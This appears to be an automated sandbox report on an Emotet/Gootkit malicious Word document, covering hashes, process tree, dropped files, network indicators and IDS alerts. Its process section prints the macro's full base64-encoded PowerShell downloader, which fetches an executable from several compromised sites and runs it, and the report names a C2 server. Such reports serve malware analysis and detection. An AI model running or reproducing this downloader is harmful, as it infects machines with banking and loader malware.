analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Dok_6841_559146.doc

Full analysis: https://app.any.run/tasks/6377ef46-4f73-4a32-ad5c-dea7a68e32b8
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: May 15, 2019, 16:50:12
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
trojan
gootkit
loader
emotet
feodo
emotet-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: programming protocol Fundamental, Subject: Arkansas, Author: Hallie Nader, Comments: payment Streamlined Home Loan Account, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed May 15 07:58:00 2019, Last Saved Time/Date: Wed May 15 07:58:00 2019, Number of Pages: 1, Number of Words: 30, Number of Characters: 173, Security: 0
MD5:

B2D92545F8084B01789CF96632BDBADC

SHA1:

7C0DCA98E11E9080C24AC761B9C25E41AEE91FD5

SHA256:

10637E759D7D2314BB65EB9E64C57B756B9400CC8D291F317F5C5267FEB0AAA4

SSDEEP:

3072:2J77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qtDo01t+futlF196oNa:2J77HUUUUUUUUUUUUUUUUUUUT52VbktU

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 267.exe (PID: 3676)
      • 267.exe (PID: 3628)
      • soundser.exe (PID: 2744)
      • soundser.exe (PID: 1664)
    • GOTKIT detected

      • powershell.exe (PID: 2720)
      • 267.exe (PID: 3628)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 2720)
    • Emotet process was detected

      • soundser.exe (PID: 2744)
    • EMOTET was detected

      • soundser.exe (PID: 1664)
    • Connects to CnC server

      • soundser.exe (PID: 1664)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2720)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2720)
      • 267.exe (PID: 3628)
    • Starts itself from another location

      • 267.exe (PID: 3628)
    • Application launched itself

      • 267.exe (PID: 3676)
      • soundser.exe (PID: 2744)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3632)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3632)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Manager: Effertz
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 202
Paragraphs: 1
Lines: 1
Company: Quigley, Rice and Blick
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 173
Words: 30
Pages: 1
ModifyDate: 2019:05:15 06:58:00
CreateDate: 2019:05:15 06:58:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: payment Streamlined Home Loan Account
Keywords: -
Author: Hallie Nader
Subject: Arkansas
Title: programming protocol Fundamental
CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
6
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs #GOOTKIT powershell.exe 267.exe no specs #GOOTKIT 267.exe #EMOTET soundser.exe no specs #EMOTET soundser.exe

Process information

PID
CMD
Path
Indicators
Parent process
3632"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Dok_6841_559146.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2720powershell -enc JABiADYANgAzADAAMQA9ACcARABfADMANQA3ADEAOQA2ACcAOwAkAFYAOQA2ADAAMgAzADUANQAgAD0AIAAnADIANgA3ACcAOwAkAGwANQAzADcAMwBfAD0AJwBjADkAMwA2ADQAMwA4ADMAJwA7ACQAVAA1ADcANgA5ADkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFYAOQA2ADAAMgAzADUANQArACcALgBlAHgAZQAnADsAJABIADcANwA3AF8AOAAwAD0AJwBIADYAMQA4AF8AOQAxADEAJwA7ACQAcQBfADYANwA5ADUAOAA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBgAGUAVAAuAGAAVwBFAEIAYwBsAGkAZQBuAHQAOwAkAHYAMwAyAF8ANAAyADQAOAA9ACcAaAB0AHQAcAA6AC8ALwBlAGwAZQBtAGUAbQBvAHIAeQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AOQB5ADgAMAAwADIANAAvAEAAaAB0AHQAcAA6AC8ALwBhAGsAdABwAGwALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHoAdgAxAHgAOQAwAC8AQABoAHQAdABwADoALwAvAHIAaQBzAGkAbgBnAGkAbgBkAGkAYQBuAGUAdwBzAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBsADIALwBAAGgAdAB0AHAAOgAvAC8AZgBpAGYAaQBkAG8AcwBzAGEAbAB0AG8AcwBhAGwAdABvAHMALgBjAG8AbQAvAHkAZgBwAG8ALwB1AGYAagBlAGkAeAAwADcALwBAAGgAdAB0AHAAOgAvAC8AdwBlAGEAcgB0AGUAeABoAGkAYgBpAHQAaQBvAG4AcwAuAGMAbwBtAC8AZQBxAHAAbABzAGoALwBiADEAdgAzAHoAMQAwAC8AJwAuAFMAUABMAEkAVAAoACcAQAAnACkAOwAkAHYANAA0AF8AMgA1AD0AJwBZAF8AMwBfADkANwAwADIAJwA7AGYAbwByAGUAYQBjAGgAKAAkAHoANgAwADgAMQBfADkAIABpAG4AIAAkAHYAMwAyAF8ANAAyADQAOAApAHsAdAByAHkAewAkAHEAXwA2ADcAOQA1ADgALgBEAG8AVwBOAEwATwBhAEQAZgBpAEwAZQAoACQAegA2ADAAOAAxAF8AOQAsACAAJABUADUANwA2ADkAOQApADsAJABJADUANwA5ADcAXwA5ADYAPQAnAFAAOAAzADIAOQBfACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAVAA1ADcANgA5ADkAKQAuAGwARQBuAEcAdABIACAALQBnAGUAIAAyADQANQAxADkAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUALQAnACsAJwBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQAVAA1ADcANgA5ADkAOwAkAGgANgAyADAAMAA0ADgAOAA9ACcAWQA5ADAAOAA0AF8ANgA5ACcAOwBiAHIAZQBhAGsAOwAkAFAAMgA3AF8AXwA2ADkAOQA9ACcAcwA1ADYAMwA1ADMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAbAA1ADAANAA3ADkAMQA9ACcAegAwADMANAAzADEANwAnAA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3676"C:\Users\admin\267.exe" C:\Users\admin\267.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile ikstaller
Exit code:
0
Version:
7.02.7601.17514 (win7sp1_rtm.101119-1850)
3628--b640ad31C:\Users\admin\267.exe
267.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile ikstaller
Exit code:
0
Version:
7.02.7601.17514 (win7sp1_rtm.101119-1850)
2744"C:\Users\admin\AppData\Local\soundser\soundser.exe"C:\Users\admin\AppData\Local\soundser\soundser.exe
267.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile ikstaller
Exit code:
0
Version:
7.02.7601.17514 (win7sp1_rtm.101119-1850)
1664--3ab57678C:\Users\admin\AppData\Local\soundser\soundser.exe
soundser.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile ikstaller
Version:
7.02.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 706
Read events
1 224
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
15

Dropped files

PID
Process
Filename
Type
3632WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVREDC8.tmp.cvr
MD5:
SHA256:
2720powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8DWCSNT2CYG6QCI2LWPL.temp
MD5:
SHA256:
3632WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\253FFE35.wmfwmf
MD5:7ACD30B0D36AAA87207786BB1DE71C79
SHA256:413B03A9CCC321D59428C75E1BC9FBC20986E69F2BB78601DC269FB20B12D433
3632WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:17222E7BED955763CB75EBDA153E0074
SHA256:EAEB163582F92B56C14963150DA7DBEA34565552F3D187A793BE19BEB0978882
3632WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A9950C06.wmfwmf
MD5:A9B0C0E0644AAF1A8B8BAFB47A3CDCDB
SHA256:B3836FFEE16F52D7CE0B29D1EDC4EB0AF6E8F1847855C52806C3C31CD9AA1A74
3632WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6FE1361E.wmfwmf
MD5:21F9340D82ADB617F12F7DEE81AE735E
SHA256:10D8F1D1251816C3FFB6560C1203B5E362CCFE98EECD1B433E0A20618405906E
2720powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:131DC75F6D4142CA9244945A91A71E8D
SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4
3632WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\36B606B2.wmfwmf
MD5:B2B08C95812514EDAAB786AA0AA05FC3
SHA256:13D6A1AC6D6B63A9FAA957ABFCAED0FDBB4D650D481B639B75C0C3F58F74A643
3632WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2BF2004F.wmfwmf
MD5:ACE45A43FD054DB586C0FA9D26FBCFA0
SHA256:47309C67671E9BC6F3F112D88FE702D5E64F39D27F0215094690CAC4AADFF120
2720powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF11fd58.TMPbinary
MD5:131DC75F6D4142CA9244945A91A71E8D
SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2720
powershell.exe
GET
200
173.236.56.186:80
http://elememory.com/wp-admin/9y80024/
US
executable
121 Kb
suspicious
1664
soundser.exe
POST
181.15.177.100:443
http://181.15.177.100:443/scripts/loadan/ringin/
AR
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
181.15.177.100:443
Telecom Argentina S.A.
AR
malicious
2720
powershell.exe
173.236.56.186:80
elememory.com
SingleHop, Inc.
US
suspicious

DNS requests

Domain
IP
Reputation
elememory.com
  • 173.236.56.186
suspicious

Threats

PID
Process
Class
Message
2720
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2720
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2720
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
1664
soundser.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 6
No debug info